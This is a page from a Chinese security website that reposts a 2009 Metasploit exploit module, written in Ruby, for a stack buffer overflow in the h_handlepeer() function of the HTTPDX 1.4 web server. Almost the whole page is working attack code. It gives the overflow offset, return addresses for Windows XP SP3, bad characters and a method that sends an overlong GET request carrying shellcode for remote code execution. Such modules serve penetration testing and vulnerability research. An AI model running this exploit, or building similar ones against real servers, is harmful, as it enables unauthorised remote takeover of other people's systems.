首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HTTPDX h_handlepeer() Function Buffer Overflow
来源:http://www.rec-sec.com/ 作者:Trancer 发布时间:2009-10-19  
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The 
				vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
				By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
			},
			'Author'         => [ 
						'Pankaj Kohli <pankaj208[at]gmail.com>',	# Original exploit [see References]
						'Trancer <mtrancer[at]gmail.com>'		# Metasploit implementation
						], 
			'References'     =>
				[
					[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
					[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
					[ 'OSVDB', '58714' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2c\x2f\x3a\x3b\x3d\x3f\x5c",
					'StackAdjustment' => -1500,
					'DisableNops'	=>  'True',

				},
			'Platform'       => 'win',
			'Targets'        => 
			[
				[  'httpdx 1.4 - Windows XP SP3',
					{
					'Offset'	=> 616,
					'Rets'		=> [ 0x64f8134b, 0x63b8624f, 0x7c874413 ],   # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)
					}
				],
			],
			'DefaultTarget'  => 0))
			register_options( [ Opt::RPORT(80) ], self.class )
	end

	def check
		response = send_request_raw

		if response and 
		   response['Server'] and 
		   response['Server'] =~ /httpdx\/1.4 (Win32)/
			return Exploit::CheckCode::Appears
		end
			
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit  = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="
		sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)
		sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')
		sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)

		request = sploit + " HTTP/1.1\r\nHost: " + rand_text_alphanumeric(rand(8) + 1) + "\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(request)
		sock.close

		disconnect
		handler
	end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xpdf - Integer overflow which
·Spider Solitaire local crash p
·CVE-2009-3692 Sun VirtualBox <
·Millenium MP3 Studio version 2
·Xion Audio Player local buffer
·MiniShare HTTP Server 1.5.5 Re
·Joomla JD-WordPress remote fil
·Millenium MP3 Studio version 2
·EMC RepliStor Server (rep_serv
·ZoIPer Call-Info remote denial
·Websense Email Security Web Ad
·Websense Email Security Cross
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved